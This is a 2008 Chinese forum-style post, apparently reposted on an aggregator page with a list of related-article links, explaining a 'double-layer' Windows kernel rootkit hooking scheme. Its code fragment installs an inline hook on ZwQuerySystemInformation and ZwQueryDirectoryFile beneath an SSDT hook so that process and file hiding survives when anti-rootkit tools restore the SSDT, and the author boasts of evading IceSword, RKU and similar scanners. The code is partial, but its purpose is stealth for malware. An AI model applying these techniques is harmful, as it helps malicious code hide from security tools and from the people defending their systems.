谈谈对于SSDT中的API进行双层HOOK的通用处理模式
2008-05-15 20:57
357 查看
HOOK的确是门艺术,在对抗中求生存,感觉很好。。。
此处,只是说一下处理是的思路,不提供完整源码
代码:
自己也做了个过RKU,IceSword 1.22,SnipeSword,wsyscheck0223的动画,有与体积太大将近5M,也就不传上来了,免得浪费论坛资源。
此处,只是说一下处理是的思路,不提供完整源码
代码:
//谈谈对于SSDT中的API进行双层HOOK的通用处理模式,示例代码: // 双层HOOK: 1.在不存在SSDT HOOK的情况下先安装Inline HOOK ... SetInLineHookZwQueryDirectoryFile(); SetInLineHookZwQuerySystemInformation(); // 双层HOOK: 2.再安装外层的SSDT HOOK,这样时即使本HOOK被其他工具恢复,内层的HOOK依然在工作着 InHookSSDTNativeAPI(); ... ////////////////////////////////////////////////////////////////////////////// ..................... ////////////////////// Do any thing ////////////////////////////////////////// // 进行进程隐藏 if(NT_SUCCESS(ntStatus)) { ZWQUERYSYSTEMINFORMATION TempCheckInSSDTSpace=(ZWQUERYSYSTEMINFORMATION)SYSTEMSERVICE(ZwQuerySystemInformation); // 检测自己的 SSDT HOOK 是否存在,避免重复工作; 当然若一定要重复工作也可以, // 不会引起BSOD; 这说明代码写的健壮 ^-^. if(HookSSDTZwQuerySystemInformation!=TempCheckInSSDTSpace) { // 当自己的SSDT HOOK被摘除时, 让Inline Hook 继续替代工作 //if(0x81000000 > (ULONG)TempCheckInSSDTSpace) HideFileFromZwQuerySystemInformation(SystemInformationClass,SystemInformation); if (TempCheckInSSDTSpace != OldZwQuerySystemInformation) { // 若检测自己是Inline Hook到了SSDT的深层空间,则需要检测KIRQL,再进行相应处理 // 以避免不必要的BSOD发生! if(DISPATCH_LEVEL >= KeGetCurrentIrql()) // 此时不宜太占用太多CPU时间,如果是在safemon.sys的HOOK分发函数中, //可能将系统资源耗尽. 可以连SMM的SSDT HOOK也不放过,让Inline Hook经得起各种 //恶劣环境的考验^-^ DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!/n"); // 输出调试信息,证明自己正在干事. } else { DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!/n"); // 输出调试信息,证明自己正在干事. } } else { DbgPrint("Rootkit: SSDT HOOK ZwQuerySystemInformation is exist, Inline Hook not need to do any thing any more!/n"); } } ////////////////////// Do any thing //////////////////////////////////////////
自己也做了个过RKU,IceSword 1.22,SnipeSword,wsyscheck0223的动画,有与体积太大将近5M,也就不传上来了,免得浪费论坛资源。
相关文章推荐
- 使用js事件机制进行通用操作&特定业务处理的协调
- 不要相信windows下显示的图像,有欺骗性。对于float图像的处理有区别。二阶高斯微分,图像像素值在-2~2之间,可以显示,可能是自动进行了处理。而像素值在0~255之间的float图像,显示的却是全白。
- Spark API编程动手实战-01-以本地模式进行Spark API实战map、filter和collect
- Ambari-Server Rest API处理2(Ambari-Server通过Rest API进行服务安装、部署、操作流程+操作源码分析)
- 进行api的HTML5inlinehook操作(飞秋官方下载)
- 在silverlight中EnitityFramework4.1框架下的以codefirst模式进行后台处理的SQL日志记录方法
- Chain Of Responsibility 避免把一个请求的发送者和请求者的接收者进行耦合,这个模式要求多个对象都有机会处理这个请求
- 报表-对于多数据进行 分sheet以及 分workbook处理
- ios 对于网络图片进行的一些处理
- 任务队列过程 对于任务的处理采用单独的线程 和任务列表进行处理
- 【设计模式 7】从公司的目前框架和API Gateway,谈谈对外观模式的理解
- 谈谈对于vmware Workstation 网络连接三种模式的认识.
- 利用一种装饰者模式来进行处理流操作
- Holder 可直接在客户端渲染图片的占位。支持在线和离线,提供一个链式 API 对图像占位进行样式处理。
- CS模式下的自动填充框(高效率,解决输入法多次回发问题并进行延迟处理)
- EasyUI-datagrid 对于展示数据进行处理(formatter)
- 【设计模式 7】从公司的目前框架和API Gateway,谈谈对外观模式的理解
- 使用INT3进行HOOK处理
- Jquery进行文本处理时,总共分为6种模式:内部插入、外部插入、包裹、替换、删除、复制
- 谈谈调用腾讯云【OCR-通用印刷体识别】Api踩的坑